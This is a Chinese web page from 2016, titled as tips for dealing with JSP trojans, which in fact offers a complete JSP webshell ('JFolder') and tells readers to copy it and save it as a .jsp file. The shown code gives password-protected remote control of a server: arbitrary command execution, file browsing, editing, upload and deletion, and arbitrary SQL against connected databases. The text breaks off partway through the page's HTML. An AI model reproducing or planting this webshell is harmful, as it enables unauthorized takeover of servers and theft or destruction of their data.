处理JSP木马程序的方法技巧

来源：www.45fan.com 2016-08-26 12:47:29

处理JSP木马程序的方法技巧

一款不错的 JSP 木马。大家复制下面的内容。然后另存为 JSP 格式就可以拉。

<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
<%!
private String _password = "520520";
private String _encodeType = "GB2312";
private int _sessionOutTime = 20;
private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
private Connection _dbConnection = null;
private Statement _dbStatement = null;
private String _url = null;

public boolean validate(String password) {
if (password.equals(_password)) {
return true;
} else {
return false;
}
}

public String HTMLEncode(String str) {
str = str.replaceAll(" ", " ");
str = str.replaceAll("<", "<");
str = str.replaceAll(">", ">");
str = str.replaceAll("/r/n", "<br>");

return str;
}

public String Unicode2GB(String str) {
String sRet = null;

try {
sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
} catch (Exception e) {
sRet = str;
}

return sRet;
}

public String exeCmd(String cmd) {
Runtime runtime = Runtime.getRuntime();
Process proc = null;
String retStr = "";
InputStreamReader insReader = null;
char[] tmpBuffer = new char[1024];
int nRet = 0;

try {
proc = runtime.exec(cmd);
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));

while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
retStr += new String(tmpBuffer, 0, nRet);
}

insReader.close();
retStr = HTMLEncode(retStr);
} catch (Exception e) {
retStr = "<font color=/"red/">bad command /"" + cmd + "/"</font>";
} finally {
return retStr;
}
}

public String pathConvert(String path) {
String sRet = path.replace('//', '/');
File file = new File(path);

if (file.getParent() != null) {
if (file.isDirectory()) {
if (! sRet.endsWith("/"))
sRet += "/";
}
} else {
if (! sRet.endsWith("/"))
sRet += "/";
}

return sRet;
}

public String strCut(String str, int len) {
String sRet;

len -= 3;

if (str.getBytes().length <= len) {
sRet = str;
} else {
try {
sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
} catch (Exception e) {
sRet = str;
}
}

return sRet;
}

public String listFiles(String path, String curUri) {
File[] files = null;
File curFile = null;
String sRet = null;
int n = 0;
boolean isRoot = path.equals("");

path = pathConvert(path);

try {
if (isRoot) {
files = File.listRoots();
} else {
try {
curFile = new File(path);
String[] sFiles = curFile.list();
files = new File[sFiles.length];

for (n = 0; n < sFiles.length; n ++) {
files[n] = new File(path + sFiles[n]);
}
} catch (Exception e) {
sRet = "<font color=/"red/">bad path /"" + path + "/"</font>";
}
}

if (sRet == null) {
sRet = "/n";
sRet += "<script language=/"javascript/">/n";
sRet += "var selectedFile = null;/n";
sRet += "/n";
sRet += "</script>/n";
sRet += "<table width=/"100%/" border=/"0/" cellpadding=/"2/" cellpadding=/"1/">/n";
sRet += " <form enctype=/"multipart/form-data/" method=/"post/" name=/"upload/" action=/"" + curUri + "&curPath=" + path + "&fsAction=upload" + "/">/n";

if (curFile != null) {
sRet += " <tr>/n";
sRet += " <td colspan=/"4/" valign=/"middle/">/n";
sRet += "  <a href=/"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "/">上级目录</a> ";
sRet += "<a href=/"#/" onclick=/"javascript:createFolder()/">创建目录</a> ";
sRet += "<a href=/"#/" onclick=/"javascript:createFile()/">新建文件</a> ";
sRet += "<a href=/"#/" onclick=/"javascript:document.fileList.submit();/">删除</a> ";
sRet += "<a href=/"#/" onclick=/"javascript:copyFile()/">复制</a> ";
sRet += "<a href=/"#/" onclick=/"javascript:rename()/">重命名</a> ";
sRet += "<a href=/"#/" onclick=/"javascript:showUpload()/">上传文件</a>/n";
sRet += "<span style=/"visibility: hidden/" id=/"up/"><input type=/"file/" value=/"上传/" name=/"upFile/" size=/"8/" class=/"textbox/" /> <input type=/"submit/" value=/"上传/" class=/"button/"></span>/n";
sRet += " </td>/n";
sRet += " </tr>/n";
}

sRet += "</form>/n";

sRet += " <form name=/"fileList/" method=/"post/" action=/"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "/">/n";

for (n = 0; n < files.length; n ++) {
sRet += " <tr onclick=/"javascript: selectFile(this)/" onmouseover=/"javascript: change(this)/" onmouseout=/"javascript: restore(this)/" style=/"cursor:hand;/">/n";

if (! isRoot) {
sRet += " <td width=/"5%/" align=/"center/"><input type=/"checkbox/" name=/"filesDelete/" value=/"" + pathConvert(files[n].getPath()) + "/" /></td>/n";
if (files[n].isDirectory()) {
sRet += " <td><a href=/"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "/" title=/"" + files[n].getName() + "/"><" + strCut(files[n].getName(), 50) + "></a></td>/n";
} else {
sRet += " <td><a title=/"" + files[n].getName() + "/">" + strCut(files[n].getName(), 50) + "</a></td>/n";
}

sRet += " <td width=/"15%/" align=/"center/">" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=/"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "/">edit</a>>" : "") + "</td>/n";
sRet += " <td width=/"15%/" align=/"center/">" + files[n].length() + "</td>/n";
} else {
sRet += " <td><a href=/"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "/" title=/"" + files[n].getName() + "/">" + pathConvert(files[n].getPath()) + "</a></td>/n";
}

sRet += " </tr>/n";
}
sRet += " </form>/n";
sRet += "</table>/n";
}
} catch (SecurityException e) {
sRet = "<font color=/"red/">security violation, no privilege.</font>";
}

return sRet;
}

public boolean isTextFile(String extName) {
int i;
boolean bRet = false;

if (! extName.equals("")) {
for (i = 0; i < _textFileTypes.length; i ++) {
if (extName.equals(_textFileTypes[i])) {
bRet = true;
break;
}
}
} else {
bRet = true;
}

return bRet;
}

public String getExtName(String fileName) {
String sRet = "";
int nLastDotPos;

fileName = pathConvert(fileName);

nLastDotPos = fileName.lastIndexOf(".");

if (nLastDotPos == -1) {
sRet = "";
} else {
sRet = fileName.substring(nLastDotPos + 1);
}

return sRet;
}

public String browseFile(String path) {
String sRet = "";
File file = null;
FileReader fileReader = null;

path = pathConvert(path);

try {
file = new File(path);
fileReader = new FileReader(file);
String fileString = "";
char[] chBuffer = new char[1024];
int ret;

sRet = "<script language=/"javascript/">/n";

while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, ret);
}

sRet += "var wnd = window.open(/"about:blank/", /"_blank/", /"width=600, height=500/");/n";
sRet += "var doc = wnd.document;/n";
sRet += "doc.write(/"" + "aaa" + "/");/n";

sRet += "</script>/n";

} catch (IOException e) {
sRet += "<script language=/"javascript/">/n";
sRet += "alert(/"打开文件" + path + "失败/");/n";
sRet += "</script>/n";
}

return sRet;
}

public String openFile(String path, String curUri) {
String sRet = "";
boolean canOpen = false;
int nLastDotPos = path.lastIndexOf(".");
String extName = "";
String fileString = null;
File curFile = null;

path = pathConvert(path);

if (nLastDotPos == -1) {
canOpen = true;
} else {
extName = path.substring(nLastDotPos + 1);
canOpen = isTextFile(extName);
}

if (canOpen) {
try {
fileString = "";
curFile = new File(path);
FileReader fileReader = new FileReader(curFile);
char[] chBuffer = new char[1024];
int nRet;

while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, nRet);
}

fileReader.close();
} catch (IOException e) {
fileString = null;
sRet = "<font color=/"red/">不能打开文件/"" + path + "/"</font>";
} catch (SecurityException e) {
fileString = null;
sRet = "<font color=/"red/">安全问题，没有权限执行该操作</font>";
}
} else {
sRet = "<font color=/"red/">file /"" + path + "/" is not a text file, can't be opened in text mode</font>";
}

if (fileString != null) {
sRet += "<script language=/"javascript/">";
sRet += "/n";
sRet += "</script>/n";
sRet += "<table align=/"center/" width=/"100%/" cellpadding=/"2/" cellspacing=/"1/">/n";
sRet += " <form name=/"openfile/" method=/"post/" action=/"" + curUri + "&curPath=" + path + "&fsAction=save" + "/">/n";
sRet += " <tr>/n";
sRet += " <td>[<a href=/"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "/">上级目录</a>]</td>/n";
sRet += " </tr>/n";
sRet += " <tr>/n";
sRet += " <td align=/"center/">/n";
sRet += " <textarea name=/"fileContent/" cols=/"80/" rows=/"32/">/n";
sRet += fileString;
sRet += " </textarea>/n";
sRet += " </td>/n";
sRet += " </tr>/n";
sRet += " <tr>/n";
sRet += " <td align=/"center/"><input type=/"submit/" class=/"button/" value=/"保存/" /> <input type=/"button/" class=/"button/" value=/"另存为/" onclick=/"javascript:saveAs()/" /></td>/n";
sRet += " </tr>/n";
sRet += " </form>/n";
sRet += "</table>/n";
}

return sRet;
}

public String saveFile(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;

path = pathConvert(path);

try {
file = new File(path);

if (! file.canWrite()) {
sRet = "<font color=/"red/">文件不可写</font>";
} else {
FileWriter fileWriter = new FileWriter(file);
fileWriter.write(fileContent);

fileWriter.close();
sRet = "文件保存成功，正在返回，请稍候……/n";
sRet += "<meta http-equiv=/"refresh/" content=/"2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "/" />/n";
}
} catch (IOException e) {
sRet = "<font color=/"red/">保存文件失败</font>";
} catch (SecurityException e) {
sRet = "<font color=/"red/">安全问题，没有权限执行该操作</font>";
}

return sRet;
}

public String createFolder(String path, String curUri, String folderName) {
String sRet = "";
File folder = null;

path = pathConvert(path);

try {
folder = new File(path + folderName);

if (folder.exists() && folder.isDirectory()) {
sRet = "<font color=/"red/">/"" + path + folderName + "/"目录已经存在</font>";
} else {
if (folder.mkdir()) {
sRet = "成功创建目录/"" + pathConvert(folder.getPath()) + "/"，正在返回，请稍候……/n";
sRet += "<meta http-equiv=/"refresh/" content=/"2;url=" + curUri + "&curPath=" + path + folderName + "/" />";
} else {
sRet = "<font color=/"red/">创建目录/"" + folderName + "/"失败</font>";
}
}
} catch (SecurityException e) {
sRet = "<font color=/"red/">安全问题，没有权限执行该操作</font>";
}

return sRet;
}

public String createFile(String path, String curUri, String fileName) {
String sRet = "";
File file = null;

path = pathConvert(path);

try {
file = new File(path + fileName);

if (file.createNewFile()) {
sRet = "<meta http-equiv=/"refresh/" content=/"0;url=" + curUri + "&curPath=" + path + fileName + "&fsAction=open" + "/" />";
} else {
sRet = "<font color=/"red/">/"" + path + fileName + "/"文件已经存在</font>";
}
} catch (SecurityException e) {
sRet = "<font color=/"red/">安全问题，没有权限执行该操作</font>";
} catch (IOException e) {
sRet = "<font color=/"red/">创建文件/"" + path + fileName + "/"失败</font>";
}

return sRet;
}

public String deleteFile(String path, String curUri, String[] files2Delete) {
String sRet = "";
File tmpFile = null;

try {
for (int i = 0; i < files2Delete.length; i ++) {
tmpFile = new File(files2Delete[i]);
if (! tmpFile.delete()) {
sRet += "<font color=/"red/">删除/"" + files2Delete[i] + "/"失败</font><br>/n";
}
}

if (sRet.equals("")) {
sRet = "删除成功，正在返回，请稍候……/n";
sRet += "<meta http-equiv=/"refresh/" content=/"2;url=" + curUri + "&curPath=" + path + "/" />";
}
} catch (SecurityException e) {
sRet = "<font color=/"red/">安全问题，没有权限执行该操作</font>/n";
}

return sRet;
}

public String saveAs(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;
FileWriter fileWriter = null;

try {
file = new File(path);

if (file.createNewFile()) {
fileWriter = new FileWriter(file);
fileWriter.write(fileContent);
fileWriter.close();

sRet = "<meta http-equiv=/"refresh/" content=/"0;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "/" />";
} else {
sRet = "<font color=/"red/">文件/"" + path + "/"已经存在</font>";
}
} catch (IOException e) {
sRet = "<font color=/"red/">创建文件/"" + path + "/"失败</font>";
}

return sRet;
}

public String uploadFile(ServletRequest request, String path, String curUri) {
String sRet = "";
File file = null;
InputStream in = null;

path = pathConvert(path);

try {
in = request.getInputStream();

byte[] inBytes = new byte[request.getContentLength()];
int nBytes;
int start = 0;
int end = 0;
int size = 1024;
String token = null;
String filePath = null;

//
// 把输入流读入一个字节数组
//
while ((nBytes = in.read(inBytes, start, size)) != -1) {
start += nBytes;
}

in.close();
//
// 从字节数组中得到文件分隔符号
//
int i = 0;
byte[] seperator;

while (inBytes[i] != 13) {
i ++;
}

seperator = new byte[i];

for (i = 0; i < seperator.length; i ++) {
seperator[i] = inBytes[i];
}

//
// 得到Header部分
//
String dataHeader = null;
i += 3;
start = i;
while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
i ++;
}
end = i - 1;
dataHeader = new String(inBytes, start, end - start + 1);

//
// 得到文件名
//
token = "filename=/"";
start = dataHeader.indexOf(token) + token.length();
token = "/"";
end = dataHeader.indexOf(token, start) - 1;
filePath = dataHeader.substring(start, end + 1);
filePath = pathConvert(filePath);
String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);

//
// 得到文件内容开始位置
//
i += 4;
start = i;

/*
boolean found = true;
byte[] tmp = new byte[seperator.length];
while (i <= inBytes.length - 1 - seperator.length) {

for (int j = i; j < i + seperator.length; j ++) {
if (seperator[j - i] != inBytes[j]) {
found = false;
break;
} else
tmp[j - i] = inBytes[j];
}

if (found)
break;

i ++;
}*/

//
// 偷懒的办法
//
end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;

//
// 保存为文件
//
File newFile = new File(path + fileName);
newFile.createNewFile();
FileOutputStream out = new FileOutputStream(newFile);

//out.write(inBytes, start, end - start + 1);
out.write(inBytes, start, end - start + 1);
out.close();

sRet = "<script language=/"javascript/">/n";
sRet += "alert(/"文件上传成功" + fileName + "/");/n";
sRet += "</script>/n";
} catch (IOException e) {
sRet = "<script language=/"javascript/">/n";
sRet += "alert(/"文件上传失败/");/n";
sRet += "</script>/n";
}

sRet += "<meta http-equiv=/"refresh/" content=/"0;url=" + curUri + "&curPath=" + path + "/" />";
return sRet;
}

public boolean fileCopy(String srcPath, String dstPath) {
boolean bRet = true;

try {
FileInputStream in = new FileInputStream(new File(srcPath));
FileOutputStream out = new FileOutputStream(new File(dstPath));
byte[] buffer = new byte[1024];
int nBytes;

while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
out.write(buffer, 0, nBytes);
}

in.close();
out.close();
} catch (IOException e) {
bRet = false;
}

return bRet;
}

public String getFileNameByPath(String path) {
String sRet = "";

path = pathConvert(path);

if (path.lastIndexOf("/") != -1) {
sRet = path.substring(path.lastIndexOf("/") + 1);
} else {
sRet = path;
}

return sRet;
}

public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) {
String sRet = "";
int i;

path = pathConvert(path);
dstPath = pathConvert(dstPath);

for (i = 0; i < files2Copy.length; i ++) {
if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) {
sRet += "<font color=/"red/">文件/"" + files2Copy[i] + "/"复制失败</font><br/>";
}
}

if (sRet.equals("")) {
sRet = "文件复制成功，正在返回，请稍候……";
sRet += "<meta http-equiv=/"refresh/" content=/"2;url=" + curUri + "&curPath=" + path + "/" />";
}

return sRet;
}

public boolean isFileName(String fileName) {
boolean bRet = false;

Pattern p = Pattern.compile("^[a-zA-Z0-9][//w//.]*[//w]$");
Matcher m = p.matcher(fileName);

bRet = m.matches();

return bRet;
}

public String renameFile(String path, String curUri, String file2Rename, String newName) {
String sRet = "";

path = pathConvert(path);
file2Rename = pathConvert(file2Rename);

try {
File file = new File(file2Rename);

newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName;
File newFile = new File(newName);

if (! file.exists()) {
sRet = "<font color=/"red/">文件/"" + file2Rename + "/"不存在</font>";
} else {
file.renameTo(newFile);
sRet = "文件重命名成功，正在返回，请稍候……";
sRet += "<meta http-equiv=/"refresh/" content=/"2;url=" + curUri + "&curPath=" + path + "/" />";
}
} catch (SecurityException e) {
sRet = "<font color=/"red/">安全问题导致文件/"" + file2Rename + "/"复制失败</font>";
}

return sRet;
}

public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) {
boolean bRet = true;
String driverName = "";

if (dbServer.equals(""))
dbServer = "localhost";

try {
if (dbType.equals("sqlserver")) {
driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
if (dbPort.equals(""))
dbPort = "1433";
_url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
} else if (dbType.equals("mysql")) {
driverName = "com.mysql.jdbc.Driver";
if (dbPort.equals(""))
dbPort = "3306";
_url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
} else if (dbType.equals("odbc")) {
driverName = "sun.jdbc.odbc.JdbcOdbcDriver";
_url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword;
} else if (dbType.equals("oracle")) {
driverName = "oracle.jdbc.driver.OracleDriver";
_url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName;
} else if (dbType.equals("db2")) {
driverName = "com.ibm.db2.jdbc.app.DB2Driver";
_url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName;
}

Class.forName(driverName);
} catch (ClassNotFoundException e) {
bRet = false;
}

return bRet;
}

public boolean DBConnect(String User, String Password) {
boolean bRet = false;

if (_url != null) {
try {
_dbConnection = DriverManager.getConnection(_url, User, Password);
_dbStatement = _dbConnection.createStatement();
bRet = true;
} catch (SQLException e) {
bRet = false;
}
}

return bRet;
}

public String DBExecute(String sql) {
String sRet = "";

if (_dbConnection == null || _dbStatement == null) {
sRet = "<font color=/"red/">数据库没有正常连接</font>";
} else {
try {
if (sql.toLowerCase().substring(0, 6).equals("select")) {
ResultSet rs = _dbStatement.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
int colNum = rsmd.getColumnCount();
int colType;

sRet = "sql语句执行成功，返回结果<br>/n";
sRet += "<table align=/"center/" border=/"0/" bgcolor=/"#CCCCCC/" cellpadding=/"2/" cellspacing=/"1/">/n";
sRet += " <tr bgcolor=/"#FFFFFF/">/n";
for (int i = 1; i <= colNum; i ++) {
sRet += " <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th>/n";
}
sRet += " </tr>/n";
while (rs.next()) {
sRet += " <tr bgcolor=/"#FFFFFF/">/n";
for (int i = 1; i <= colNum; i ++) {
colType = rsmd.getColumnType(i);

sRet += " <td>";
switch (colType) {
case Types.BIGINT:
sRet += rs.getLong(i);
break;

case Types.BIT:
sRet += rs.getBoolean(i);
break;

case Types.BOOLEAN:
sRet += rs.getBoolean(i);
break;

case Types.CHAR:
sRet += rs.getString(i);
break;

case Types.DATE:
sRet += rs.getDate(i).toString();
break;

case Types.DECIMAL:
sRet += rs.getDouble(i);
break;

case Types.NUMERIC:
sRet += rs.getDouble(i);
break;

case Types.REAL:
sRet += rs.getDouble(i);
break;

case Types.DOUBLE:
sRet += rs.getDouble(i);
break;

case Types.FLOAT:
sRet += rs.getFloat(i);
break;

case Types.INTEGER:
sRet += rs.getInt(i);
break;

case Types.TINYINT:
sRet += rs.getShort(i);
break;

case Types.VARCHAR:
sRet += rs.getString(i);
break;

case Types.TIME:
sRet += rs.getTime(i).toString();
break;

case Types.DATALINK:
sRet += rs.getTimestamp(i).toString();
break;
}
sRet += " </td>/n";
}
sRet += " </tr>/n";
}
sRet += "</table>/n";

rs.close();
} else {
if (_dbStatement.execute(sql)) {
sRet = "sql语句执行成功";
} else {
sRet = "<font color=/"red/">sql语句执行失败</font>";
}
}
} catch (SQLException e) {
sRet = "<font color=/"red/">sql语句执行失败</font>";
}
}

return sRet;
}

public void DBRelease() {
try {
if (_dbStatement != null) {
_dbStatement.close();
_dbStatement = null;
}

if (_dbConnection != null) {
_dbConnection.close();
_dbConnection = null;
}
} catch (SQLException e) {

}
}

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////

class JshellConfig {
private String _jshellContent = null;
private String _path = null;

public JshellConfig(String path) throws JshellConfigException {
_path = path;
read();
}

private void read() throws JshellConfigException {
try {
FileReader jshell = new FileReader(new File(_path));
char[] buffer = new char[1024];
int nChars;
_jshellContent = "";

while ((nChars = jshell.read(buffer, 0, 1024)) != -1) {
_jshellContent += new String(buffer, 0, nChars);
}

jshell.close();
} catch (IOException e) {
throw new JshellConfigException("打开文件失败");
}
}

public void save() throws JshellConfigException {
FileWriter jshell = null;

try {
jshell = new FileWriter(new File(_path));
char[] buffer = _jshellContent.toCharArray();
int start = 0;
int size = 1024;

for (start = 0; start < buffer.length - 1 - size; start += size) {
jshell.write(buffer, start, size);
}

jshell.write(buffer, start, buffer.length - 1 - start);
} catch (IOException e) {
new JshellConfigException("写文件失败");
} finally {
try {
jshell.close();
} catch (IOException e) {

}
}
}

public void setPassword(String password) throws JshellConfigException {
Pattern p = Pattern.compile("//w+");
Matcher m = p.matcher(password);

if (! m.matches()) {
throw new JshellConfigException("密码不能有除字母数字下划线以外的字符");
}

p = Pattern.compile("private//sString//s_password//s=//s/"" + _password + "/"");
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}

_jshellContent = m.replaceAll("private String _password = /"" + password + "/"");

//return HTMLEncode(_jshellContent);
}

public void setEncodeType(String encodeType) throws JshellConfigException {
Pattern p = Pattern.compile("[A-Za-z0-9]+");
Matcher m = p.matcher(encodeType);

if (! m.matches()) {
throw new JshellConfigException("编码格式只能是字母和数字的组合");
}

p = Pattern.compile("private//sString//s_encodeType//s=//s/"" + _encodeType + "/"");
m = p.matcher(_jshellContent);

if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}

_jshellContent = m.replaceAll("private String _encodeType = /"" + encodeType + "/"");
//return HTMLEncode(_jshellContent);
}

public void setSessionTime(String sessionTime) throws JshellConfigException {
Pattern p = Pattern.compile("//d+");
Matcher m = p.matcher(sessionTime);

if (! m.matches()) {
throw new JshellConfigException("session超时时间只能填数字");
}

p = Pattern.compile("private//sint//s_sessionOutTime//s=//s" + _sessionOutTime);
m = p.matcher(_jshellContent);

if (! m.find()) {
throw new JshellConfigException("程序体已经被非法修改");
}

_jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime);
//return HTMLEncode(_jshellContent);
}

public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException {
Pattern p = Pattern.compile("//w+");
Matcher m = null;
int i;
String fileTypes = "";
String tmpFileTypes = "";

for (i = 0; i < textFileTypes.length; i ++) {
m = p.matcher(textFileTypes[i]);

if (! m.matches()) {
throw new JshellConfigException("扩展名只能是字母数字和下划线的组合");
}

if (i != textFileTypes.length - 1)
fileTypes += "/"" + textFileTypes[i] + "/"" + ", ";
else
fileTypes += "/"" + textFileTypes[i] + "/"";
}

for (i = 0; i < _textFileTypes.length; i ++) {
if (i != _textFileTypes.length - 1)
tmpFileTypes += "/"" + _textFileTypes[i] + "/"" + ", ";
else
tmpFileTypes += "/"" + _textFileTypes[i] + "/"";
}

p = Pattern.compile(tmpFileTypes);
m = p.matcher(_jshellContent);

if (! m.find()) {
throw new JshellConfigException("程序文件已经被非法修改");
}

_jshellContent = m.replaceAll(fileTypes);

//return HTMLEncode(_jshellContent);
}

public String getContent() {
return HTMLEncode(_jshellContent);
}
}

class JshellConfigException extends Exception {
public JshellConfigException(String message) {
super(message);
}
}
%>
<html>
<head>
<title>JFolder 华夏猪头三修改版</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<style>
body {
font-size: 14px;
font-family: 宋体;
background-color: #CCCCCC;
}
td {
font-size: 14px;
font-family: 宋体;
}

input.textbox {
border: black solid 1;
font-size: 12px;
height: 18px;
}

input.button {
font-size: 12px;
font-family: 宋体;
border: black solid 1;
}

td.datarows {
font-size: 14px;
font-family: 宋体;
height: 25px;
}

textarea {
border: black solid 1;
}
.inputLogin {font-size: 9pt;border:1px solid lightgrey;background-color: lightgrey;}
.table1 {BORDER:gray 0px ridge;}
.td2 {BORDER-RIGHT:#ffffff 0px solid;BORDER-TOP:#ffffff 1px solid;BORDER-LEFT:#ffffff 1px solid;BORDER-BOTTOM:#ffffff 0px solid;BACKGROUND-COLOR:lightgrey; height:18px;}
.tr1 {BACKGROUND-color:gray }
</style>
<script language="JavaScript">
<!--
function ltrim(str) {
while (str.indexOf(0) == " ")
str = str.substring(1);

return str;
}

function changeAction(obj) {
obj.submit();
}
//-->
</script>
<body>
<%
session.setMaxInactiveInterval(_sessionOutTime * 60);

if (request.getParameter("password") == null && session.getAttribute("password") == null) {
// show the login form
//================================================================================================
%>
<div align="center" style="position:absolute;width:100%;visibility:show; z-index:0;left:14px;top:200px">
<TABLE class="table1" cellSpacing="1" cellPadding="1" width="473" border="0" align="center">
<tr>
<td class="tr1">
<TABLE cellSpacing="0" cellPadding="0" width="468" border="0">
<tr>
<TD align="left"><FONT face="webdings" color="#ffffff"> 8</FONT><FONT face="Verdana, Arial, Helvetica, sans-serif" color="#ffffff"><b>管理登录 :::...</b></font></TD>
<TD align="right"><FONT color="#d2d8ec"><b>JFolder</b>_By_<b>hack520</b></FONT></TD>
</tr>
<form name="f1" method="post">
<input type="hidden" name="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" value="dDwtMTQyNDQzOTM1NDt0PDtsPGk8OT47PjtsPHQ8cDxsPGVuY3R5cGU7PjtsPG11bHRpcGFydC9mb3JtLWRhdGE7Pj47bDxpPDE5Pjs+O2w8dDxAMDw7Ozs7Ozs7Ozs7Pjs7Pjs+Pjs+PjtsPE5ld0ZpbGU7TmV3RmlsZTtOZXdEaXJlY3Rvcnk7TmV3RGlyZWN0b3J5O0RCX3JCX01TU1FMO0RCX3JCX01TU1FMO0RCX3JCX0FjY2VzcztEQl9yQl9BY2Nlc3M7Pj7Z5iNIVOaWZWuK0pv8lCMSbhytgQ==" />
<script language="javascript" type="text/javascript">

</script>
<tr>
<td height="30" align="center" class="td2" colspan="2">
<input name="password" type="password" class="textbox" id="Textbox" />
<input type="submit" name="Button" value="Login" id="Button" title="Click here to login" class="button" />
</td>
</tr>
</form>
<SCRIPT type='text/javascript' language='javascript' src='http://xslt.alexa.com/site_stats/js/t/c?url='></SCRIPT>
</TABLE></td>
</tr>
</TABLE>
</div>
<%
//================================================================================================
// end of the login form
} else {
String password = null;

if (session.getAttribute("password") == null) {
password = (String)request.getParameter("password");

if (validate(password) == false) {
out.println("<div align=/"center/"><font color=/"red/"><li>哎呀，倒霉死啦!</font></div>");
out.close();
return;
}

session.setAttribute("password", password);
} else {
password = (String)session.getAttribute("password");
}

String action = null;

if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");

if (action.equals("exit")) {
session.removeAttribute("password");
response.sendRedirect(request.getRequestURI());
out.close();
return;
}

// show the main menu
//====================================================================================
%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="0">
<form name="form1" method="get">
<tr bgcolor="#CCCCCC">
<td id="title"></td>
<td align="right">
<select name="action" onChange="javascript:changeAction(document.form1)">
<option value="main">程序首页</option>
<option value="filesystem">文件系统</option>
<option value="command">系统命令</option>
<option value="database">数据库</option>
<option value="config">程序配置</option>
<option value="about">关于程序</option>
<option value="exit">退出程序</option>
</select>
<script language="JavaScript">
<%
out.println("var action = /"" + action + "/"");
%>
var sAction = document.form1.action;
for (var i = 0; i < sAction.length; i ++) {
if (sAction[i].value == action) {
sAction[i].selected = true;
//title.innerHTML = "[" + sAction[i].innerHTML + "]";
}
}
</script>
</td>
</tr>
</form>
</table>
<%
//=====================================================================================
// end of main menu

if (action.equals("main")) {
// print the system info table
//=======================================================================================
%>
<table align="center" width="600" cellpadding="2" cellspacing="1" border="0" bgcolor="#CCCCCC">
<tr bgcolor="#FFFFFF">
<td colspan="2" align="center">服务器信息</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">服务器名</td>
<td align="center" class="datarows"><%=request.getServerName()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">服务器端口</td>
<td align="center" class="datarows"><%=request.getServerPort()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">操作系统</td>
<td align="center" class="datarows"><%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">当前用户名</td>
<td align="center" class="datarows"><%=System.getProperty("user.name")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">当前用户目录</td>
<td align="center" class="datarows"><%=System.getProperty("user.home")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">当前用户工作目录</td>
<td align="center" class="datarows"><%=System.getProperty("user.dir")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">程序相对路径</td>
<td align="center" class="datarows"><%=request.getRequestURI()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">程序绝对路径</td>
<td align="center" class="datarows"><%=request.getRealPath(request.getServletPath())%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="

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